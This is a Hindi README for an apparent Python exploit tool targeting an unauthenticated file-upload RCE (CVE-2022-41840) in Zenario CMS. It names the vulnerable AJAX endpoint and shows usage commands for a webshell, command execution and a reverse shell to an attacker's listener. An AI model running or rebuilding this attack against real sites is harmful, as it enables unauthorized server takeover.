Zenario CMS 9.3 - बिना प्रमाणीकरण वाला RCE एक्सप्लॉइट

CVE-2022-41840

Zenario CMS संस्करण 9.3 और उससे पहले के संस्करणों को प्रभावित करने वाली एक बिना प्रमाणीकरण वाली रिमोट कोड निष्पादन (RCE) भेद्यता। यह एक्सप्लॉइट AJAX एंडपॉइंट में फ़ाइल अपलोड भेद्यता का लाभ उठाकर PHP वेबशैल अपलोड करता है और कोड निष्पादन प्राप्त करता है।

भेद्यता विवरण

• CVE: CVE-2022-41840
• प्रभावित संस्करण: Zenario CMS <= 9.3
• भेद्यता प्रकार: RCE की ओर ले जाने वाला बिना प्रमाणीकरण वाला फ़ाइल अपलोड
• हमला वेक्टर: HTTP POST से /zenario/ajax.php
• आवश्यक विशेषाधिकार: कोई नहीं (बिना प्रमाणीकरण)

उपयोग

इंटरैक्टिव वेबशैल

python3 zenario_exploit.py --target http://target.com

एकल कमांड निष्पादन

python3 zenario_exploit.py --target http://target.com --cmd "id"

रिवर्स शेल

python3 zenario_exploit.py --target http://target.com --lhost 10.x.x.x --lport 4444

आवश्यकताएँ

• Python 3.x
• requests लाइब्रेरी

निर्भरताएँ स्थापित करें:

pip install requests

विशेषताएँ

• भेद्य AJAX एंडपॉइंट के माध्यम से स्वचालित PHP वेबशैल अपलोड
• बेहतर सफलता दर के लिए कई instanceId मानों का समर्थन
• JSON और regex-आधारित पथ निष्कर्षण
• कई रिवर्स शेल पेलोड विकल्प (bash, python, perl, nc)
• टर्मिनल समर्थन के साथ पूर्ण रूप से इंटरैक्टिव PTY शेल
• रिवर्स शेल विफल होने पर वेबशैल फ़ॉलबैक

अस्वीकरण

केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए।

यह टूल सुरक्षा शोधकर्ताओं और पेनिट्रेशन परीक्षकों के लिए प्रदान किया गया है ताकि वे उन प्रणालियों का परीक्षण कर सकें जिनके वे स्वामी हैं या जिनके परीक्षण के लिए उनके पास स्पष्ट प्राधिकरण है। कंप्यूटर प्रणालियों तक अनधिकृत पहुँच अवैध है और कड़ाई से निषिद्ध है।

अनुरक्षक इस टूल से होने वाले किसी भी दुरुपयोग या क्षति के लिए कोई ज़िम्मेदारी नहीं लेते हैं।

लाइसेंस

यह कोड केवल शैक्षिक उद्देश्यों के लिए प्रदान किया गया है।